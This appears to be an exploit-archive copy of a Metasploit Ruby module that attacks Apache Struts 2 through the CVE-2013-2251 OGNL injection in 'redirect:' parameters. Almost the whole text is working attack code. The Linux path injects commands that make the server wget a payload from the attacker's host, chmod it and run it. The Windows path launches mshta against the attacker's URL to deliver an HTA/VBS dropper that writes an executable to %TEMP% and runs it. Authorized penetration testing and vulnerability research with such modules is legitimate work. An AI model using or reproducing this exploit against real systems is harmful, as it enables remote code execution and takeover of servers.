Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution



EKU-ID: 3386 CVE: 2013-2251 OSVDB-ID: 95405
Author: sinn3r Published: 2013-07-26 Verified: Verified
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution',
			'Description'    => %q{
				The Struts 2 DefaultActionMapper supports a method for short-circuit navigation
				state changes by prefixing parameters with "action:" or "redirect:", followed by
				a desired navigational target expression. This mechanism was intended to help with
				attaching navigational information to buttons within forms.

				In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or
				"redirectAction:" is not properly sanitized. Since said information will be
				evaluated as OGNL expression against the value stack, this introduces the
				possibility to inject server side code.

				This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with
				Windows 2003 SP2 and Ubuntu 10.04 operating systems.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Takeshi Terada', # Vulnerability discovery
					'sinn3r',         # Metasploit module
					'juan vazquez'    # Metasploit modules
				],
			'References'     =>
				[
					[ 'CVE', '2013-2251' ],
					[ 'OSVDB', '95405' ],
					[ 'BID', '61189' ],
					[ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ]
				],
			'Platform'       => [ 'win', 'linux'],
			'Targets'         =>
				[
					['Automatic', {}],
					['Windows',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						}
					],
					['Linux',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						}
					]
				],
			'DefaultOptions'  =>
				{
					'WfsDelay' => 10
				},
			'Stance'         => Msf::Exploit::Stance::Aggressive,
			'DisclosureDate'  => 'Jul 2 2013',
			'DefaultTarget'   => 0))

		register_options(
		[
			Opt::RPORT(8080),
			OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']),
			OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]),
			# It isn't OptPath becuase it's a *remote* path
			OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ])
		], self.class)
	end

	def on_new_session(session)
		if session.type == "meterpreter"
			session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
		end

		@dropped_files.delete_if do |file|
			false unless file =~ /\.exe/
			win_file = file.gsub("/", "\\\\")
			if session.type == "meterpreter"
				begin
					wintemp = session.fs.file.expand_path("%TEMP%")
					win_file = "#{wintemp}\\#{win_file}"
					session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
					session.fs.file.rm(win_file)
					print_good("Deleted #{file}")
					true
				rescue ::Rex::Post::Meterpreter::RequestError
					print_error("Failed to delete #{win_file}")
					false
				end
			end
		end

		super
	end

	def start_http_service
		#do not use SSL
		if datastore['SSL']
			ssl_restore = true
			datastore['SSL'] = false
		end

		if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
			srv_host = Rex::Socket.source_address(rhost)
		else
			srv_host = datastore['SRVHOST']
		end

		service_url = srv_host + ':' + datastore['SRVPORT'].to_s
		print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
		start_service({
			'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
				'Path' => '/'
			}
		})

		datastore['SSL'] = true if ssl_restore

		return service_url
	end

	def check
		uri = normalize_uri(target_uri.path)
		res = send_request_cgi({
			'uri' => uri,
			'method' => 'GET'
		})

		if res.nil? or res.code != 200
			print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
			return Exploit::CheckCode::Unknown
		end

		proof = rand_text_alpha(6 + rand(4))

		res = send_request_cgi({
			'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}",
			'method' => 'GET'
		})

		if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Unknown
	end

	def auto_target
		uri = normalize_uri(target_uri.path)
		res = send_request_cgi({
			'uri' => uri,
			'method' => 'GET'
		})

		if res.nil? or res.code != 200
			fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")
		end

		proof = rand_text_alpha(6 + rand(4))

		res = send_request_cgi({
			'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}",
			'method' => 'GET'
		})

		if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
			if res.headers['Location'] =~ /:\\/
				return targets[1] # Windows
			else
				return targets[2] # Linux
			end
		end

		fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work")

	end

	def exploit_linux

		downfile = rand_text_alpha(8+rand(8))
		@pl = @exe
		@pl_sent = false

		#
		# start HTTP service if necessary
		#
		service_url = start_http_service

		#
		# download payload
		#
		fname = datastore['WritableDir']
		fname = "#{fname}/" unless fname =~ %r'/$'
		fname << downfile
		uri = normalize_uri(target_uri.path)
		uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"

		print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...")

		res = send_request_cgi({
			'method'   => 'GET',
			'uri'      => uri
		})

		if res.nil? or res.code != 302
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
		end

		#
		# wait for payload download
		#
		wait_payload

		register_file_for_cleanup(fname)

		#
		# chmod
		#
		uri = normalize_uri(target_uri.path)
		uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"

		print_status("#{rhost}:#{rport} - Make payload executable...")

		res = send_request_cgi({
			'method'   => 'GET',
			'uri'      => uri
		})

		if res.nil? or res.code != 302
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
		end

		#
		# execute
		#
		uri = normalize_uri(target_uri.path)
		uri << "?redirect:%25{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}"

		print_status("#{rhost}:#{rport} - Execute payload...")

		res = send_request_cgi({
			'method'   => 'GET',
			'uri'      => uri
		})

		if res.nil? or res.code != 302
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
		end

	end

	def exploit_windows
		@var_exename = rand_text_alpha(4 + rand(4)) + '.exe'
		@pl = build_hta
		@pl_sent = false

		#
		# start HTTP service if necessary
		#
		service_url = start_http_service

		#
		# execute hta
		#
		uri = normalize_uri(target_uri.path)
		uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}"

		print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...")

		res = send_request_cgi({
			'method'   => 'GET',
			'uri'      => uri
		})

		if res.nil? or res.code != 302
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
		end

		#
		# wait for payload download
		#
		wait_payload

		register_file_for_cleanup(@var_exename)
	end

	def exploit
		if target.name =~ /Automatic/
			print_status("#{rhost}:#{rport} - Target autodetection...")
			my_target = auto_target
			print_good("#{rhost}:#{rport} - #{my_target.name} target found!")
		else
			my_target = target
		end

		p = exploit_regenerate_payload(my_target.platform, my_target.arch)
		@exe = generate_payload_exe({:code => p.encoded, :platform => my_target.platform, :arch => my_target.arch})

		if my_target.name =~ /Linux/
			if datastore['PAYLOAD'] =~ /windows/
				fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")
			end
			exploit_linux
		elsif my_target.name =~ /Windows/
			if datastore['PAYLOAD'] =~ /linux/
				fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")
			end
			exploit_windows
		end
	end

	# Handle incoming requests from the server
	def on_request_uri(cli, request)
		vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}")
		if (not @pl)
			print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
			return
		end
		print_status("#{rhost}:#{rport} - Sending the payload to the server...")
		@pl_sent = true
		send_response(cli, @pl)
	end

	# wait for the data to be sent
	def wait_payload
		print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")

		waited = 0
		while (not @pl_sent)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > datastore['HTTP_DELAY'])
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
			end
		end
	end

	def build_hta
		var_shellobj		= rand_text_alpha(rand(5)+5);
		var_fsobj		    = rand_text_alpha(rand(5)+5);
		var_fsobj_file		= rand_text_alpha(rand(5)+5);
		var_vbsname		    = rand_text_alpha(rand(5)+5);
		var_writedir		= rand_text_alpha(rand(5)+5);

		var_origLoc		    = rand_text_alpha(rand(5)+5);
		var_byteArray		= rand_text_alpha(rand(5)+5);
		var_writestream		= rand_text_alpha(rand(5)+5);
		var_strmConv		= rand_text_alpha(rand(5)+5);

		# Doing in this way to bypass the ADODB.Stream restrictions on JS,
		# even when executing it as an "HTA" application
		# The encoding code has been stolen from ie_unsafe_scripting.rb
		print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta...");

		# Build the content that will end up in the .vbs file
		vbs_content	= Rex::Text.to_hex(%Q|
Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)
|)
		# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
		# for conversion with ADODB.Stream
		vbs_ary = []
		# The output of this loop needs to be as small as possible since it
		# gets repeated for every byte of the executable, ballooning it by a
		# factor of about 80k (the current size of the exe template).  In its
		# current form, it's down to about 4MB on the wire
		@exe.each_byte do |b|
			vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
		end
		vbs_content << vbs_ary.join("")

		# Continue with the rest of the vbs file;
		# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
		# Then use ADODB.Stream again to write the binary to file.
		#print_status("Finishing vbs...");
		vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"

Set #{var_strmConv} = CreateObject("ADODB.Stream")

#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_strmConv}.SaveToFile #{var_writedir}, 2

SetLocale(#{var_origLoc})|)

		hta = <<-EOS
			<script>
			var #{var_shellobj} = new ActiveXObject("WScript.Shell");
			var #{var_fsobj}    = new ActiveXObject("Scripting.FileSystemObject");
			var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
			var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);

			#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
			#{var_fsobj_file}.Close();

			#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
			#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
			#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
			window.close();
			</script>
		EOS

		return hta
	end


end